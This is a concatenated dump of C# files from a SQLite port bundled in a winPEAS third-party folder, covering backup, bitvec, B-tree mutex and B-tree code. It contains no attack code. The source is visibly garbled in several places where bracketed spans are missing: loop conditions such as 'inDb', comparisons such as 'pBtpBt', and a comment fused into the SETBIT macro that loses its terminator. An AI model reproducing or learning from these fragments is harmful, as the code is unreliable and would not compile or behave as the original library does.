void sqlite3BackupRestart( sqlite3_backup pBackup ) { sqlite3_backup p; /* Iterator variable */ for ( p = pBackup ; p != null ; p = p.pNext ) { Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) ); p.iNext = 1; } } #if !SQLITE_OMIT_VACUUM /* ** Copy the complete content of pBtFrom into pBtTo. A transaction ** must be active for both files. ** ** The size of file pTo may be reduced by this operation. If anything ** goes wrong, the transaction on pTo is rolled back. If successful, the ** transaction is committed before returning. */ static int sqlite3BtreeCopyFile( Btree pTo, Btree pFrom ) { int rc; sqlite3_backup b; sqlite3BtreeEnter( pTo ); sqlite3BtreeEnter( pFrom ); /* Set up an sqlite3_backup object. sqlite3_backup.pDestDb must be set ** to 0. This is used by the implementations of sqlite3_backup_step() ** and sqlite3_backup_finish() to detect that they are being called ** from this function, not directly by the user. */ b = new sqlite3_backup();// memset( &b, 0, sizeof( b ) ); b.pSrcDb = pFrom.db; b.pSrc = pFrom; b.pDest = pTo; b.iNext = 1; /* 0x7FFFFFFF is the hard limit for the number of pages in a database ** file. By passing this as the number of pages to copy to ** sqlite3_backup_step(), we can guarantee that the copy finishes ** within a single call (unless an error occurs). The Debug.Assert() statement ** checks this assumption - (p.rc) should be set to either SQLITE_DONE ** or an error code. */ sqlite3_backup_step( b, 0x7FFFFFFF ); Debug.Assert( b.rc != SQLITE_OK ); rc = sqlite3_backup_finish( b ); if ( rc == SQLITE_OK ) { pTo.pBt.pageSizeFixed = false; } sqlite3BtreeLeave( pFrom ); sqlite3BtreeLeave( pTo ); return rc; } #endif //* SQLITE_OMIT_VACUUM */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/bitvec_c.cs ================================================ using System; using System.Diagnostics; using i64 = System.Int64; using u32 = System.UInt32; using BITVEC_TELEM = System.Byte; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2008 February 16 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file implements an object that represents a fixed-length ** bitmap. Bits are numbered starting with 1. ** ** A bitmap is used to record which pages of a database file have been ** journalled during a transaction, or which pages have the "dont-write" ** property. Usually only a few pages are meet either condition. ** So the bitmap is usually sparse and has low cardinality. ** But sometimes (for example when during a DROP of a large table) most ** or all of the pages in a database can get journalled. In those cases, ** the bitmap becomes dense with high cardinality. The algorithm needs ** to handle both cases well. ** ** The size of the bitmap is fixed when the object is created. ** ** All bits are clear when the bitmap is created. Individual bits ** may be set or cleared one at a time. ** ** Test operations are about 100 times more common that set operations. ** Clear operations are exceedingly rare. There are usually between ** 5 and 500 set operations per Bitvec object, though the number of sets can ** sometimes grow into tens of thousands or larger. The size of the ** Bitvec object is the number of pages in the database file at the ** start of a transaction, and is thus usually less than a few thousand, ** but can be as large as 2 billion for a really big database. ** ** @(#) $Id: bitvec.c,v 1.17 2009/07/25 17:33:26 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* Size of the Bitvec structure in bytes. */ const int BITVEC_SZ = 512; /* Round the union size down to the nearest pointer boundary, since that's how ** it will be aligned within the Bitvec struct. */ //#define BITVEC_USIZE (((BITVEC_SZ-(3*sizeof(u32)))/sizeof(Bitvec*))*sizeof(Bitvec*)) const int BITVEC_USIZE = ( ( ( BITVEC_SZ - ( 3 * sizeof( u32 ) ) ) / 4 ) * 4 ); /* Type of the array "element" for the bitmap representation. ** Should be a power of 2, and ideally, evenly divide into BITVEC_USIZE. ** Setting this to the "natural word" size of your CPU may improve ** performance. */ //#define BITVEC_TELEM u8 //using BITVEC_TELEM = System.Byte; /* Size, in bits, of the bitmap element. */ //#define BITVEC_SZELEM 8 const int BITVEC_SZELEM = 8; /* Number of elements in a bitmap array. */ //#define BITVEC_NELEM (BITVEC_USIZE/sizeof(BITVEC_TELEM)) const int BITVEC_NELEM = ( BITVEC_USIZE / sizeof( BITVEC_TELEM ) ); /* Number of bits in the bitmap array. */ //#define BITVEC_NBIT (BITVEC_NELEM*BITVEC_SZELEM) const int BITVEC_NBIT = ( BITVEC_NELEM * BITVEC_SZELEM ); /* Number of u32 values in hash table. */ //#define BITVEC_NINT (BITVEC_USIZE/sizeof(u32)) const int BITVEC_NINT = ( BITVEC_USIZE / sizeof( u32 ) ); /* Maximum number of entries in hash table before ** sub-dividing and re-hashing. */ //#define BITVEC_MXHASH (BITVEC_NINT/2) const int BITVEC_MXHASH = ( BITVEC_NINT / 2 ); /* Hashing function for the aHash representation. ** Empirical testing showed that the *37 multiplier ** (an arbitrary prime)in the hash function provided ** no fewer collisions than the no-op *1. */ //#define BITVEC_HASH(X) (((X)*1)%BITVEC_NINT) static u32 BITVEC_HASH( u32 X ) { return ( ( ( X ) * 1 ) % BITVEC_NINT ); } const int BITVEC_NPTR = ( BITVEC_USIZE / 4 );//sizeof(Bitvec *)); /* ** A bitmap is an instance of the following structure. ** ** This bitmap records the existence of zero or more bits ** with values between 1 and iSize, inclusive. ** ** There are three possible representations of the bitmap. ** If iSize<=BITVEC_NBIT, then Bitvec.u.aBitmap[] is a straight ** bitmap. The least significant bit is bit 1. ** ** If iSize>BITVEC_NBIT and iDivisor==0 then Bitvec.u.aHash[] is ** a hash table that will hold up to BITVEC_MXHASH distinct values. ** ** Otherwise, the value i is redirected into one of BITVEC_NPTR ** sub-bitmaps pointed to by Bitvec.u.apSub[]. Each subbitmap ** handles up to iDivisor separate values of i. apSub[0] holds ** values between 1 and iDivisor. apSub[1] holds values between ** iDivisor+1 and 2*iDivisor. apSub[N] holds values between ** N*iDivisor+1 and (N+1)*iDivisor. Each subbitmap is normalized ** to hold deal with values between 1 and iDivisor. */ public class _u { public BITVEC_TELEM[] aBitmap = new byte[BITVEC_NELEM]; /* Bitmap representation */ public u32[] aHash = new u32[BITVEC_NINT]; /* Hash table representation */ public Bitvec[] apSub = new Bitvec[BITVEC_NPTR]; /* Recursive representation */ } public class Bitvec { public u32 iSize; /* Maximum bit index. Max iSize is 4,294,967,296. */ public u32 nSet; /* Number of bits that are set - only valid for aHash ** element. Max is BITVEC_NINT. For BITVEC_SZ of 512, ** this would be 125. */ public u32 iDivisor; /* Number of bits handled by each apSub[] entry. */ /* Should >=0 for apSub element. */ /* Max iDivisor is max(u32) / BITVEC_NPTR + 1. */ /* For a BITVEC_SZ of 512, this would be 34,359,739. */ public _u u = new _u(); public static implicit operator bool( Bitvec b ) { return ( b != null ); } }; /* ** Create a new bitmap object able to handle bits between 0 and iSize, ** inclusive. Return a pointer to the new object. Return NULL if ** malloc fails. */ static Bitvec sqlite3BitvecCreate( u32 iSize ) { Bitvec p; //Debug.Assert( sizeof(p)==BITVEC_SZ ); p = new Bitvec();//sqlite3MallocZero( sizeof(p) ); if ( p != null ) { p.iSize = iSize; } return p; } /* ** Check to see if the i-th bit is set. Return true or false. ** If p is NULL (if the bitmap has not been created) or if ** i is out of range, then return false. */ static int sqlite3BitvecTest( Bitvec p, u32 i ) { if ( p == null || i == 0 ) return 0; if ( i > p.iSize ) return 0; i--; while ( p.iDivisor != 0 ) { u32 bin = i / p.iDivisor; i = i % p.iDivisor; p = p.u.apSub[bin]; if ( null == p ) { return 0; } } if ( p.iSize <= BITVEC_NBIT ) { return ( ( p.u.aBitmap[i / BITVEC_SZELEM] & ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ) != 0 ) ? 1 : 0; } else { u32 h = BITVEC_HASH( i++ ); while ( p.u.aHash[h] != 0 ) { if ( p.u.aHash[h] == i ) return 1; h = ( h + 1 ) % BITVEC_NINT; } return 0; } } /* ** Set the i-th bit. Return 0 on success and an error code if ** anything goes wrong. ** ** This routine might cause sub-bitmaps to be allocated. Failing ** to get the memory needed to hold the sub-bitmap is the only ** that can go wrong with an insert, assuming p and i are valid. ** ** The calling function must ensure that p is a valid Bitvec object ** and that the value for "i" is within range of the Bitvec object. ** Otherwise the behavior is undefined. */ static int sqlite3BitvecSet( Bitvec p, u32 i ) { u32 h; if ( p == null ) return SQLITE_OK; Debug.Assert( i > 0 ); Debug.Assert( i <= p.iSize ); i--; while ( ( p.iSize > BITVEC_NBIT ) && p.iDivisor != 0 ) { u32 bin = i / p.iDivisor; i = i % p.iDivisor; if ( p.u.apSub[bin] == null ) { p.u.apSub[bin] = sqlite3BitvecCreate( p.iDivisor ); if ( p.u.apSub[bin] == null ) return SQLITE_NOMEM; } p = p.u.apSub[bin]; } if ( p.iSize <= BITVEC_NBIT ) { p.u.aBitmap[i / BITVEC_SZELEM] |= (byte)( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ); return SQLITE_OK; } h = BITVEC_HASH( i++ ); /* if there wasn't a hash collision, and this doesn't */ /* completely fill the hash, then just add it without */ /* worring about sub-dividing and re-hashing. */ if ( 0 == p.u.aHash[h] ) { if ( p.nSet < ( BITVEC_NINT - 1 ) ) { goto bitvec_set_end; } else { goto bitvec_set_rehash; } } /* there was a collision, check to see if it's already */ /* in hash, if not, try to find a spot for it */ do { if ( p.u.aHash[h] == i ) return SQLITE_OK; h++; if ( h >= BITVEC_NINT ) h = 0; } while ( p.u.aHash[h] != 0 ); /* we didn't find it in the hash. h points to the first */ /* available free spot. check to see if this is going to */ /* make our hash too "full". */ bitvec_set_rehash: if ( p.nSet >= BITVEC_MXHASH ) { u32 j; int rc; u32[] aiValues = new u32[BITVEC_NINT];// = sqlite3StackAllocRaw(0, sizeof(p->u.aHash)); if ( aiValues == null ) { return SQLITE_NOMEM; } else { Buffer.BlockCopy( p.u.aHash, 0, aiValues, 0, aiValues.Length * ( sizeof( u32 ) ) );// memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); p.u.apSub = new Bitvec[BITVEC_NPTR];//memset(p->u.apSub, 0, sizeof(p->u.apSub)); p.iDivisor = ( p.iSize + BITVEC_NPTR - 1 ) / BITVEC_NPTR; rc = sqlite3BitvecSet( p, i ); for ( j = 0 ; j < BITVEC_NINT ; j++ ) { if ( aiValues[j] != 0 ) rc |= sqlite3BitvecSet( p, aiValues[j] ); } //sqlite3StackFree( null, aiValues ); return rc; } } bitvec_set_end: p.nSet++; p.u.aHash[h] = i; return SQLITE_OK; } /* ** Clear the i-th bit. ** ** pBuf must be a pointer to at least BITVEC_SZ bytes of temporary storage ** that BitvecClear can use to rebuilt its hash table. */ static void sqlite3BitvecClear( Bitvec p, u32 i, u32[] pBuf ) { if ( p == null ) return; Debug.Assert( i > 0 ); i--; while ( p.iDivisor != 0 ) { u32 bin = i / p.iDivisor; i = i % p.iDivisor; p = p.u.apSub[bin]; if ( null == p ) { return; } } if ( p.iSize <= BITVEC_NBIT ) { p.u.aBitmap[i / BITVEC_SZELEM] &= (byte)~( ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ); } else { u32 j; u32[] aiValues = pBuf; Array.Copy( p.u.aHash, aiValues, p.u.aHash.Length );//memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); p.u.aHash = new u32[aiValues.Length];// memset(p->u.aHash, 0, sizeof(p->u.aHash)); p.nSet = 0; for ( j = 0 ; j < BITVEC_NINT ; j++ ) { if ( aiValues[j] != 0 && aiValues[j] != ( i + 1 ) ) { u32 h = BITVEC_HASH( aiValues[j] - 1 ); p.nSet++; while ( p.u.aHash[h] != 0 ) { h++; if ( h >= BITVEC_NINT ) h = 0; } p.u.aHash[h] = aiValues[j]; } } } } /* ** Destroy a bitmap object. Reclaim all memory used. */ static void sqlite3BitvecDestroy( ref Bitvec p ) { if ( p == null ) return; if ( p.iDivisor != 0 ) { u32 i; for ( i = 0 ; i < BITVEC_NPTR ; i++ ) { sqlite3BitvecDestroy( ref p.u.apSub[i] ); } } //sqlite3_free( ref p ); } /* ** Return the value of the iSize parameter specified when Bitvec *p ** was created. */ static u32 sqlite3BitvecSize( Bitvec p ) { return p.iSize; } #if !SQLITE_OMIT_BUILTIN_TEST /* ** Let V[] be an array of unsigned characters sufficient to hold ** up to N bits. Let I be an integer between 0 and N. 0<=I>3] |= (1<<(I&7)) static void SETBIT( byte[] V, int I ) { V[I >> 3] |= (byte)( 1 << ( I & 7 ) ); } //#define CLEARBIT(V,I) V[I>>3] &= ~(1<<(I&7)) static void CLEARBIT( byte[] V, int I ) { V[I >> 3] &= (byte)~( 1 << ( I & 7 ) ); } //#define TESTBIT(V,I) (V[I>>3]&(1<<(I&7)))!=0 static int TESTBIT( byte[] V, int I ) { return ( V[I >> 3] & ( 1 << ( I & 7 ) ) ) != 0 ? 1 : 0; } /* ** This routine runs an extensive test of the Bitvec code. ** ** The input is an array of integers that acts as a program ** to test the Bitvec. The integers are opcodes followed ** by 0, 1, or 3 operands, depending on the opcode. Another ** opcode follows immediately after the last operand. ** ** There are 6 opcodes numbered from 0 through 5. 0 is the ** "halt" opcode and causes the test to end. ** ** 0 Halt and return the number of errors ** 1 N S X Set N bits beginning with S and incrementing by X ** 2 N S X Clear N bits beginning with S and incrementing by X ** 3 N Set N randomly chosen bits ** 4 N Clear N randomly chosen bits ** 5 N S X Set N bits from S increment X in array only, not in bitvec ** ** The opcodes 1 through 4 perform set and clear operations are performed ** on both a Bitvec object and on a linear array of bits obtained from malloc. ** Opcode 5 works on the linear array only, not on the Bitvec. ** Opcode 5 is used to deliberately induce a fault in order to ** confirm that error detection works. ** ** At the conclusion of the test the linear array is compared ** against the Bitvec object. If there are any differences, ** an error is returned. If they are the same, zero is returned. ** ** If a memory allocation error occurs, return -1. */ static int sqlite3BitvecBuiltinTest( u32 sz, int[] aOp ) { Bitvec pBitvec = null; byte[] pV = null; int rc = -1; int i, nx, pc, op; u32[] pTmpSpace; /* Allocate the Bitvec to be tested and a linear array of ** bits to act as the reference */ pBitvec = sqlite3BitvecCreate( sz ); pV = new byte[( sz + 7 ) / 8 + 1];// sqlite3_malloc( ( sz + 7 ) / 8 + 1 ); pTmpSpace = new u32[BITVEC_SZ];// sqlite3_malloc( BITVEC_SZ ); if ( pBitvec == null || pV == null || pTmpSpace == null ) goto bitvec_end; Array.Clear( pV, 0, (int)( sz + 7 ) / 8 + 1 );// memset( pV, 0, ( sz + 7 ) / 8 + 1 ); /* NULL pBitvec tests */ sqlite3BitvecSet( null, (u32)1 ); sqlite3BitvecClear( null, 1, pTmpSpace ); /* Run the program */ pc = 0; while ( ( op = aOp[pc] ) != 0 ) { switch ( op ) { case 1: case 2: case 5: { nx = 4; i = aOp[pc + 2] - 1; aOp[pc + 2] += aOp[pc + 3]; break; } case 3: case 4: default: { nx = 2; i64 i64Temp = 0; sqlite3_randomness( sizeof( i64 ), ref i64Temp ); i = (int)i64Temp; break; } } if ( ( --aOp[pc + 1] ) > 0 ) nx = 0; pc += nx; i = (int)( ( i & 0x7fffffff ) % sz ); if ( ( op & 1 ) != 0 ) { SETBIT( pV, ( i + 1 ) ); if ( op != 5 ) { if ( sqlite3BitvecSet( pBitvec, (u32)i + 1 ) != 0 ) goto bitvec_end; } } else { CLEARBIT( pV, ( i + 1 ) ); sqlite3BitvecClear( pBitvec, (u32)i + 1, pTmpSpace ); } } /* Test to make sure the linear array exactly matches the ** Bitvec object. Start with the assumption that they do ** match (rc==0). Change rc to non-zero if a discrepancy ** is found. */ rc = sqlite3BitvecTest( null, 0 ) + sqlite3BitvecTest( pBitvec, sz + 1 ) + sqlite3BitvecTest( pBitvec, 0 ) + (int)( sqlite3BitvecSize( pBitvec ) - sz ); for ( i = 1 ; i <= sz ; i++ ) { if ( ( TESTBIT( pV, i ) ) != sqlite3BitvecTest( pBitvec, (u32)i ) ) { rc = i; break; } } /* Free allocated structure */ bitvec_end: //sqlite3_free( ref pTmpSpace ); //sqlite3_free( ref pV ); sqlite3BitvecDestroy( ref pBitvec ); return rc; } #endif //* SQLITE_OMIT_BUILTIN_TEST */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/btmutex_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2007 August 27 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** $Id: btmutex.c,v 1.17 2009/07/20 12:33:33 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** ** This file contains code used to implement mutexes on Btree objects. ** This code really belongs in btree.c. But btree.c is getting too ** big and we want to break it down some. This packaged seemed like ** a good breakout. */ //#include "btreeInt.h" #if !SQLITE_OMIT_SHARED_CACHE #if SQLITE_THREADSAFE /* ** Obtain the BtShared mutex associated with B-Tree handle p. Also, ** set BtShared.db to the database handle associated with p and the ** p->locked boolean to true. */ static void lockBtreeMutex(Btree *p){ assert( p->locked==0 ); assert( sqlite3_mutex_notheld(p->pBt->mutex) ); assert( sqlite3_mutex_held(p->db->mutex) ); sqlite3_mutex_enter(p->pBt->mutex); p->pBt->db = p->db; p->locked = 1; } /* ** Release the BtShared mutex associated with B-Tree handle p and ** clear the p->locked boolean. */ static void unlockBtreeMutex(Btree *p){ assert( p->locked==1 ); assert( sqlite3_mutex_held(p->pBt->mutex) ); assert( sqlite3_mutex_held(p->db->mutex) ); assert( p->db==p->pBt->db ); sqlite3_mutex_leave(p->pBt->mutex); p->locked = 0; } /* ** Enter a mutex on the given BTree object. ** ** If the object is not sharable, then no mutex is ever required ** and this routine is a no-op. The underlying mutex is non-recursive. ** But we keep a reference count in Btree.wantToLock so the behavior ** of this interface is recursive. ** ** To avoid deadlocks, multiple Btrees are locked in the same order ** by all database connections. The p->pNext is a list of other ** Btrees belonging to the same database connection as the p Btree ** which need to be locked after p. If we cannot get a lock on ** p, then first unlock all of the others on p->pNext, then wait ** for the lock to become available on p, then relock all of the ** subsequent Btrees that desire a lock. */ void sqlite3BtreeEnter(Btree *p){ Btree *pLater; /* Some basic sanity checking on the Btree. The list of Btrees ** connected by pNext and pPrev should be in sorted order by ** Btree.pBt value. All elements of the list should belong to ** the same connection. Only shared Btrees are on the list. */ assert( p->pNext==0 || p->pNext->pBt>p->pBt ); assert( p->pPrev==0 || p->pPrev->pBtpBt ); assert( p->pNext==0 || p->pNext->db==p->db ); assert( p->pPrev==0 || p->pPrev->db==p->db ); assert( p->sharable || (p->pNext==0 && p->pPrev==0) ); /* Check for locking consistency */ assert( !p->locked || p->wantToLock>0 ); assert( p->sharable || p->wantToLock==0 ); /* We should already hold a lock on the database connection */ assert( sqlite3_mutex_held(p->db->mutex) ); /* Unless the database is sharable and unlocked, then BtShared.db ** should already be set correctly. */ assert( (p->locked==0 && p->sharable) || p->pBt->db==p->db ); if( !p->sharable ) return; p->wantToLock++; if( p->locked ) return; /* In most cases, we should be able to acquire the lock we ** want without having to go throught the ascending lock ** procedure that follows. Just be sure not to block. */ if( sqlite3_mutex_try(p->pBt->mutex)==SQLITE_OK ){ p->pBt->db = p->db; p->locked = 1; return; } /* To avoid deadlock, first release all locks with a larger ** BtShared address. Then acquire our lock. Then reacquire ** the other BtShared locks that we used to hold in ascending ** order. */ for(pLater=p->pNext; pLater; pLater=pLater->pNext){ assert( pLater->sharable ); assert( pLater->pNext==0 || pLater->pNext->pBt>pLater->pBt ); assert( !pLater->locked || pLater->wantToLock>0 ); if( pLater->locked ){ unlockBtreeMutex(pLater); } } lockBtreeMutex(p); for(pLater=p->pNext; pLater; pLater=pLater->pNext){ if( pLater->wantToLock ){ lockBtreeMutex(pLater); } } } /* ** Exit the recursive mutex on a Btree. */ void sqlite3BtreeLeave(Btree *p){ if( p->sharable ){ assert( p->wantToLock>0 ); p->wantToLock--; if( p->wantToLock==0 ){ unlockBtreeMutex(p); } } } #if !NDEBUG /* ** Return true if the BtShared mutex is held on the btree, or if the ** B-Tree is not marked as sharable. ** ** This routine is used only from within assert() statements. */ int sqlite3BtreeHoldsMutex(Btree *p){ assert( p->sharable==0 || p->locked==0 || p->wantToLock>0 ); assert( p->sharable==0 || p->locked==0 || p->db==p->pBt->db ); assert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->pBt->mutex) ); assert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->db->mutex) ); return (p->sharable==0 || p->locked); } #endif #if !SQLITE_OMIT_INCRBLOB /* ** Enter and leave a mutex on a Btree given a cursor owned by that ** Btree. These entry points are used by incremental I/O and can be ** omitted if that module is not used. */ void sqlite3BtreeEnterCursor(BtCursor *pCur){ sqlite3BtreeEnter(pCur->pBtree); } void sqlite3BtreeLeaveCursor(BtCursor *pCur){ sqlite3BtreeLeave(pCur->pBtree); } #endif //* SQLITE_OMIT_INCRBLOB */ /* ** Enter the mutex on every Btree associated with a database ** connection. This is needed (for example) prior to parsing ** a statement since we will be comparing table and column names ** against all schemas and we do not want those schemas being ** reset out from under us. ** ** There is a corresponding leave-all procedures. ** ** Enter the mutexes in accending order by BtShared pointer address ** to avoid the possibility of deadlock when two threads with ** two or more btrees in common both try to lock all their btrees ** at the same instant. */ void sqlite3BtreeEnterAll(sqlite3 *db){ int i; Btree *p, *pLater; assert( sqlite3_mutex_held(db->mutex) ); for(i=0; inDb; i++){ p = db->aDb[i].pBt; assert( !p || (p->locked==0 && p->sharable) || p->pBt->db==p->db ); if( p && p->sharable ){ p->wantToLock++; if( !p->locked ){ assert( p->wantToLock==1 ); while( p->pPrev ) p = p->pPrev; /* Reason for ALWAYS: There must be at least on unlocked Btree in ** the chain. Otherwise the !p->locked test above would have failed */ while( p->locked && ALWAYS(p->pNext) ) p = p->pNext; for(pLater = p->pNext; pLater; pLater=pLater->pNext){ if( pLater->locked ){ unlockBtreeMutex(pLater); } } while( p ){ lockBtreeMutex(p); p = p->pNext; } } } } } void sqlite3BtreeLeaveAll(sqlite3 *db){ int i; Btree *p; assert( sqlite3_mutex_held(db->mutex) ); for(i=0; inDb; i++){ p = db->aDb[i].pBt; if( p && p->sharable ){ assert( p->wantToLock>0 ); p->wantToLock--; if( p->wantToLock==0 ){ unlockBtreeMutex(p); } } } } #if !NDEBUG /* ** Return true if the current thread holds the database connection ** mutex and all required BtShared mutexes. ** ** This routine is used inside assert() statements only. */ int sqlite3BtreeHoldsAllMutexes(sqlite3 *db){ int i; if( !sqlite3_mutex_held(db->mutex) ){ return 0; } for(i=0; inDb; i++){ Btree *p; p = db->aDb[i].pBt; if( p && p->sharable && (p->wantToLock==0 || !sqlite3_mutex_held(p->pBt->mutex)) ){ return 0; } } return 1; } #endif //* NDEBUG */ /* ** Add a new Btree pointer to a BtreeMutexArray. ** if the pointer can possibly be shared with ** another database connection. ** ** The pointers are kept in sorted order by pBtree->pBt. That ** way when we go to enter all the mutexes, we can enter them ** in order without every having to backup and retry and without ** worrying about deadlock. ** ** The number of shared btrees will always be small (usually 0 or 1) ** so an insertion sort is an adequate algorithm here. */ void sqlite3BtreeMutexArrayInsert(BtreeMutexArray *pArray, Btree *pBtree){ int i, j; BtShared *pBt; if( pBtree==0 || pBtree->sharable==0 ) return; #if !NDEBUG { for(i=0; inMutex; i++){ assert( pArray->aBtree[i]!=pBtree ); } } #endif assert( pArray->nMutex>=0 ); assert( pArray->nMutexaBtree)-1 ); pBt = pBtree->pBt; for(i=0; inMutex; i++){ assert( pArray->aBtree[i]!=pBtree ); if( pArray->aBtree[i]->pBt>pBt ){ for(j=pArray->nMutex; j>i; j--){ pArray->aBtree[j] = pArray->aBtree[j-1]; } pArray->aBtree[i] = pBtree; pArray->nMutex++; return; } } pArray->aBtree[pArray->nMutex++] = pBtree; } /* ** Enter the mutex of every btree in the array. This routine is ** called at the beginning of sqlite3VdbeExec(). The mutexes are ** exited at the end of the same function. */ void sqlite3BtreeMutexArrayEnter(BtreeMutexArray *pArray){ int i; for(i=0; inMutex; i++){ Btree *p = pArray->aBtree[i]; /* Some basic sanity checking */ assert( i==0 || pArray->aBtree[i-1]->pBtpBt ); assert( !p->locked || p->wantToLock>0 ); /* We should already hold a lock on the database connection */ assert( sqlite3_mutex_held(p->db->mutex) ); /* The Btree is sharable because only sharable Btrees are entered ** into the array in the first place. */ assert( p->sharable ); p->wantToLock++; if( !p->locked ){ lockBtreeMutex(p); } } } /* ** Leave the mutex of every btree in the group. */ void sqlite3BtreeMutexArrayLeave(BtreeMutexArray *pArray){ int i; for(i=0; inMutex; i++){ Btree *p = pArray->aBtree[i]; /* Some basic sanity checking */ assert( i==0 || pArray->aBtree[i-1]->pBtpBt ); assert( p->locked); assert( p->wantToLock>0 ); /* We should already hold a lock on the database connection */ assert( sqlite3_mutex_held(p->db->mutex) ); p->wantToLock--; if( p->wantToLock==0){ unlockBtreeMutex(p); } } } #else static void sqlite3BtreeEnter( Btree p ) { p.pBt.db = p.db; } static void sqlite3BtreeEnterAll( sqlite3 db ) { int i; for ( i = 0 ; i < db.nDb ; i++ ) { Btree p = db.aDb[i].pBt; if ( p != null ) { p.pBt.db = p.db; } } } #endif //* if SQLITE_THREADSAFE */ #endif //* ifndef SQLITE_OMIT_SHARED_CACHE */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/btree_c.cs ================================================ using System; using System.Diagnostics; using System.Text; using i64 = System.Int64; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; using u64 = System.UInt64; using sqlite3_int64 = System.Int64; using Pgno = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using DbPage = CSSQLite.PgHdr; public partial class CSSQLite { /* ** 2004 April 6 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** $Id: btree.c,v 1.705 2009/08/10 03:57:58 shane Exp $ ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* ** ** This file implements a external (disk-based) database using BTrees. ** See the header comment on "btreeInt.h" for additional information. ** Including a description of file format and an overview of operation. */ //#include "btreeInt.h" /* ** The header string that appears at the beginning of every ** SQLite database. */ static string zMagicHeader = SQLITE_FILE_HEADER; /* ** Set this global variable to 1 to enable tracing using the TRACE ** macro. */ #if TRACE static bool sqlite3BtreeTrace=false; /* True to enable tracing */ //# define TRACE(X) if(sqlite3BtreeTrace){printf X;fflush(stdout);} static void TRACE(string X, params object[] ap) { if (sqlite3BtreeTrace) printf(X, ap); } #else //# define TRACE(X) static void TRACE(string X, params object[] ap) { } #endif #if !SQLITE_OMIT_SHARED_CACHE /* ** A list of BtShared objects that are eligible for participation ** in shared cache. This variable has file scope during normal builds, ** but the test harness needs to access it so we make it global for ** test builds. ** ** Access to this variable is protected by SQLITE_MUTEX_STATIC_MASTER. */ #if SQLITE_TEST BtShared *SQLITE_WSD sqlite3SharedCacheList = 0; #else static BtShared *SQLITE_WSD sqlite3SharedCacheList = 0; #endif #endif //* SQLITE_OMIT_SHARED_CACHE */ #if !SQLITE_OMIT_SHARED_CACHE /* ** Enable or disable the shared pager and schema features. ** ** This routine has no effect on existing database connections. ** The shared cache setting effects only future calls to ** sqlite3_open(), sqlite3_open16(), or sqlite3_open_v2(). */ int sqlite3_enable_shared_cache(int enable){ sqlite3GlobalConfig.sharedCacheEnabled = enable; return SQLITE_OK; } #endif #if SQLITE_OMIT_SHARED_CACHE /* ** The functions querySharedCacheTableLock(), setSharedCacheTableLock(), ** and clearAllSharedCacheTableLocks() ** manipulate entries in the BtShared.pLock linked list used to store ** shared-cache table level locks. If the library is compiled with the ** shared-cache feature disabled, then there is only ever one user ** of each BtShared structure and so this locking is not necessary. ** So define the lock related functions as no-ops. */ //#define querySharedCacheTableLock(a,b,c) SQLITE_OK static int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock) { return SQLITE_OK; } //#define setSharedCacheTableLock(a,b,c) SQLITE_OK //#define clearAllSharedCacheTableLocks(a) static void clearAllSharedCacheTableLocks(Btree a) { } //#define downgradeAllSharedCacheTableLocks(a) static void downgradeAllSharedCacheTableLocks(Btree a) { } //#define hasSharedCacheTableLock(a,b,c,d) 1 static bool hasSharedCacheTableLock(Btree a, Pgno b, int c, int d) { return true; } //#define hasReadConflicts(a, b) 0 static bool hasReadConflicts(Btree a, Pgno b) { return false; } #endif #if !SQLITE_OMIT_SHARED_CACHE #if SQLITE_DEBUG /* ** This function is only used as part of an Debug.Assert() statement. It checks ** that connection p holds the required locks to read or write to the ** b-tree with root page iRoot. If so, true is returned. Otherwise, false. ** For example, when writing to a table b-tree with root-page iRoot via ** Btree connection pBtree: ** ** Debug.Assert( hasSharedCacheTableLock(pBtree, iRoot, 0, WRITE_LOCK) ); ** ** When writing to an index b-tree that resides in a sharable database, the ** caller should have first obtained a lock specifying the root page of ** the corresponding table b-tree. This makes things a bit more complicated, ** as this module treats each b-tree as a separate structure. To determine ** the table b-tree corresponding to the index b-tree being written, this ** function has to search through the database schema. ** ** Instead of a lock on the b-tree rooted at page iRoot, the caller may ** hold a write-lock on the schema table (root page 1). This is also ** acceptable. */ static int hasSharedCacheTableLock( Btree pBtree, /* Handle that must hold lock */ Pgno iRoot, /* Root page of b-tree */ int isIndex, /* True if iRoot is the root of an index b-tree */ int eLockType /* Required lock type (READ_LOCK or WRITE_LOCK) */ ){ Schema pSchema = (Schema *)pBtree.pBt.pSchema; Pgno iTab = 0; BtLock pLock; /* If this b-tree database is not shareable, or if the client is reading ** and has the read-uncommitted flag set, then no lock is required. ** In these cases return 